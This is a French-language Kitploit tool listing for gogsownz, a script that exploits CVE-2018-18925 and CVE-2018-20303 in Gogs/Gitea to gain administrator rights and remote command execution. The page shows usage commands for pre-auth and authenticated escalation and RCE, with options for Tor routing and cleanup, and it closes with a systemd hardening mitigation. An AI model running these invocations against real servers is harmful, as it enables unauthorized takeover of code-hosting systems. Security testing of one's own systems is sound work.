Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
gogsownz — Gogs CVEs | Kitploit
Outils/GitHubGitHub/thez3ro/gogsownz
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebOutil d'Accès à Distance
GitHubthez3ro/gogsownz

gogsownz

Gogs CVEs

Voir le dépôt
79154il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GogsOwnz

GogsOwnz est un script simple pour obtenir des droits d'administrateur et une RCE sur un serveur Gogs/Gitea.
Exploite des vulnérabilités dans Gogs/Gitea, notamment CVE-2018-18925, CVE-2018-20303.

Avertissement légal Ce script est fourni en l'état. Aucune garantie, utilisez-le à vos risques et périls, veuillez respecter la loi.

Utilisation typique - [Veuillez lire l'utilisation complète]

Obtenir des informations sur le Gogs/Gitea en cours d'exécution

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --info

Exploiter l'élévation de privilèges sans authentification

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth

Exploiter l'élévation de privilèges

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup

ou alternativement

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup

Exploiter la RCE sans authentification

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup

Exploiter la RCE authentifiée

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup

Utilisation complète

root@kitploit:~
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

Remerciements

Merci à :

  • Tencent Security (@md5_salt, @ma7h1as et @chromium1337)
  • PentesterLab (@snyff)
  • LuckyC4t
  • la communauté de sécurité de gogs :D

Lectures complémentaires

https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf

Atténuations

Si vous prenez soin de configurer votre fichier d'unité systemd, vous serez agréablement surpris de constater que l'exploitation est quelque peu contenue :

root@kitploit:~
[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

Cela permettra au moins de limiter l'accès au système de fichiers à un système de fichiers éphémère créé par systemd. Cela aide, mais vous devriez probablement corriger la privesc et ne donner aucun admin.. évidemment

Télécharger l’outil